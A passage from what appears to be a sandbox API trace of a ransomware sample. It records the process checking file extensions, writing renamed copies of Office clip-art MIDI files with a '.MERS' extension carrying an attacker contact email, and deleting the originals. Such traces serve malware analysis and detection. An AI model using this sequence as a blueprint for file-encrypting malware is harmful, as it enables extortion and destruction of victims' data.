Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0264.910] lstrlenW (lpString=".jpg") returned 4 [0264.910] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0264.910] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0264.910] lstrlenW (lpString="PARNT_03.MID") returned 12 [0264.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.910] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=8538) returned 1 [0264.910] CloseHandle (hObject=0x3a8) returned 1 [0264.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 0x20 [0264.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0264.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.910] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0264.910] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0264.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0264.911] GetLastError () returned 0x0 [0264.911] ReadFile (in: hFile=0x3a8, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x215a, lpOverlapped=0x0) returned 1 [0265.214] WriteFile (in: hFile=0x3d4, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x2160, lpOverlapped=0x0) returned 1 [0265.214] ReadFile (in: hFile=0x3a8, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0265.214] WriteFile (in: hFile=0x3d4, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.214] SetEndOfFile (hFile=0x3d4) returned 1 [0265.223] CloseHandle (hObject=0x3d4) returned 1 [0265.223] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0265.223] SetEndOfFile (hFile=0x3a8) returned 1 [0265.886] CloseHandle (hObject=0x3a8) returned 1 [0265.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0265.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0265.930] lstrlenW (lpString=".doc") returned 4 [0265.930] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0265.930] lstrlenW (lpString=".docx") returned 5 [0265.930] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0265.930] lstrlenW (lpString=".pdf") returned 4 [0265.930] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0265.930] lstrlenW (lpString=".xls") returned 4 [0265.930] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0265.930] lstrlenW (lpString=".xlsx") returned 5 [0265.930] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0265.930] lstrlenW (lpString=".ppt") returned 4 [0265.930] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0265.930] lstrlenW (lpString=".zip") returned 4 [0265.930] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0265.930] lstrlenW (lpString=".rar") returned 4 [0265.930] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0265.930] lstrlenW (lpString=".bz2") returned 4 [0265.930] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0265.930] lstrlenW (lpString=".7z") returned 3 [0265.930] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0265.930] lstrlenW (lpString=".dbf") returned 4 [0265.930] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0265.930] lstrlenW (lpString=".1cd") returned 4 [0265.930] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0265.931] lstrlenW (lpString=".jpg") returned 4 [0265.931] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0265.931] lstrlenW (lpString=".doc") returned 4 [0265.931] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0265.931] lstrlenW (lpString=".docx") returned 5 [0265.931] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0265.931] lstrlenW (lpString=".pdf") returned 4 [0265.931] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0265.931] lstrlenW (lpString=".xls") returned 4 [0265.931] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0265.931] lstrlenW (lpString=".xlsx") returned 5 [0265.931] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0265.931] lstrlenW (lpString=".ppt") returned 4 [0265.931] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0265.931] lstrlenW (lpString=".zip") returned 4 [0265.931] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0265.931] lstrlenW (lpString=".rar") returned 4 [0265.931] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0265.931] lstrlenW (lpString=".bz2") returned 4 [0265.931] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0265.931] lstrlenW (lpString=".7z") returned 3 [0265.931] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0265.931] lstrlenW (lpString=".dbf") returned 4 [0265.931] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0265.931] lstrlenW (lpString=".1cd") returned 4 [0265.931] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0265.931] lstrlenW (lpString=".jpg") returned 4 [0265.931] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0265.932] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0265.932] lstrlenW (lpString="PARNT_06.MID") returned 12 [0265.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.932] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=7768) returned 1 [0265.932] CloseHandle (hObject=0x3a0) returned 1 [0265.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20 [0265.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0265.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0265.935] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0265.935] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0265.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.935] GetLastError () returned 0x0 [0265.935] ReadFile (in: hFile=0x3d4, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x1e58, lpOverlapped=0x0) returned 1 [0266.064] WriteFile (in: hFile=0x39c, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x1e60, lpOverlapped=0x0) returned 1 [0266.065] ReadFile (in: hFile=0x3d4, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0266.065] WriteFile (in: hFile=0x39c, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.065] SetEndOfFile (hFile=0x39c) returned 1 [0266.065] CloseHandle (hObject=0x39c) returned 1 [0266.065] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0266.065] SetEndOfFile (hFile=0x3d4) returned 1 [0266.732] CloseHandle (hObject=0x3d4) returned 1 [0266.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0266.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0266.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0266.868] lstrlenW (lpString=".doc") returned 4 [0266.868] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.868] lstrlenW (lpString=".docx") returned 5 [0266.868] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0266.868] lstrlenW (lpString=".pdf") returned 4 [0266.868] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.868] lstrlenW (lpString=".xls") returned 4 [0266.868] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.868] lstrlenW (lpString=".xlsx") returned 5 [0266.868] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0266.868] lstrlenW (lpString=".ppt") returned 4 [0266.868] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0266.868] lstrlenW (lpString=".zip") returned 4 [0266.868] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.868] lstrlenW (lpString=".rar") returned 4 [0266.868] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.868] lstrlenW (lpString=".bz2") returned 4 [0266.868] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.868] lstrlenW (lpString=".7z") returned 3 [0266.868] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0266.869] lstrlenW (lpString=".dbf") returned 4 [0266.869] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0266.869] lstrlenW (lpString=".1cd") returned 4 [0266.869] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0266.869] lstrlenW (lpString=".jpg") returned 4 [0266.869] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0266.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0266.869] lstrlenW (lpString=".doc") returned 4 [0266.869] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.869] lstrlenW (lpString=".docx") returned 5 [0266.869] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0266.869] lstrlenW (lpString=".pdf") returned 4 [0266.869] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.869] lstrlenW (lpString=".xls") returned 4 [0266.869] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.869] lstrlenW (lpString=".xlsx") returned 5 [0266.869] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0266.869] lstrlenW (lpString=".ppt") returned 4 [0266.869] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0266.869] lstrlenW (lpString=".zip") returned 4 [0266.869] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.869] lstrlenW (lpString=".rar") returned 4 [0266.869] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.869] lstrlenW (lpString=".bz2") returned 4 [0266.869] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.869] lstrlenW (lpString=".7z") returned 3 [0266.869] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0266.869] lstrlenW (lpString=".dbf") returned 4 [0266.870] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0266.870] lstrlenW (lpString=".1cd") returned 4 [0266.870] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0266.870] lstrlenW (lpString=".jpg") returned 4 [0266.870] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.870] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0266.870] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0266.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0266.889] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=5058) returned 1 [0266.889] CloseHandle (hObject=0x3b4) returned 1 [0266.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 0x20 [0266.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0266.889] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0266.889] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0266.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0266.890] GetLastError () returned 0x0 [0266.890] ReadFile (in: hFile=0x3b4, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x13c2, lpOverlapped=0x0) returned 1 [0266.973] WriteFile (in: hFile=0x3cc, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x13d0, lpOverlapped=0x0) returned 1 [0266.974] ReadFile (in: hFile=0x3b4, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0266.974] WriteFile (in: hFile=0x3cc, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.974] SetEndOfFile (hFile=0x3cc) returned 1 [0266.977] CloseHandle (hObject=0x3cc) returned 1 [0266.977] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0266.977] SetEndOfFile (hFile=0x3b4) returned 1 [0266.987] CloseHandle (hObject=0x3b4) returned 1 [0266.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0266.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0266.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0266.997] lstrlenW (lpString=".doc") returned 4 [0266.997] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.997] lstrlenW (lpString=".docx") returned 5 [0266.997] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0266.998] lstrlenW (lpString=".pdf") returned 4 [0266.998] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.998] lstrlenW (lpString=".xls") returned 4 [0266.998] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.998] lstrlenW (lpString=".xlsx") returned 5 [0266.998] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0266.998] lstrlenW (lpString=".ppt") returned 4 [0266.998] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0266.998] lstrlenW (lpString=".zip") returned 4 [0266.998] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.998] lstrlenW (lpString=".rar") returned 4 [0266.998] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.998] lstrlenW (lpString=".bz2") returned 4 [0266.998] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.998] lstrlenW (lpString=".7z") returned 3 [0266.998] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0266.998] lstrlenW (lpString=".dbf") returned 4 [0266.998] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0266.998] lstrlenW (lpString=".1cd") returned 4 [0266.998] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0266.998] lstrlenW (lpString=".jpg") returned 4 [0266.998] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0266.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0266.998] lstrlenW (lpString=".doc") returned 4 [0266.998] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.998] lstrlenW (lpString=".docx") returned 5 [0266.998] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0266.998] lstrlenW (lpString=".pdf") returned 4 [0266.998] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.998] lstrlenW (lpString=".xls") returned 4 [0266.999] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.999] lstrlenW (lpString=".xlsx") returned 5 [0266.999] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0266.999] lstrlenW (lpString=".ppt") returned 4 [0266.999] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0266.999] lstrlenW (lpString=".zip") returned 4 [0266.999] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.999] lstrlenW (lpString=".rar") returned 4 [0266.999] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.999] lstrlenW (lpString=".bz2") returned 4 [0266.999] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.999] lstrlenW (lpString=".7z") returned 3 [0266.999] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0266.999] lstrlenW (lpString=".dbf") returned 4 [0266.999] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0266.999] lstrlenW (lpString=".1cd") returned 4 [0266.999] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0266.999] lstrlenW (lpString=".jpg") returned 4 [0266.999] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.999] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0266.999] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0266.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0267.003] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=4961) returned 1 [0267.003] CloseHandle (hObject=0x2d8) returned 1 [0267.003] GetFileAttributesW (lpFileName="C:\\Program 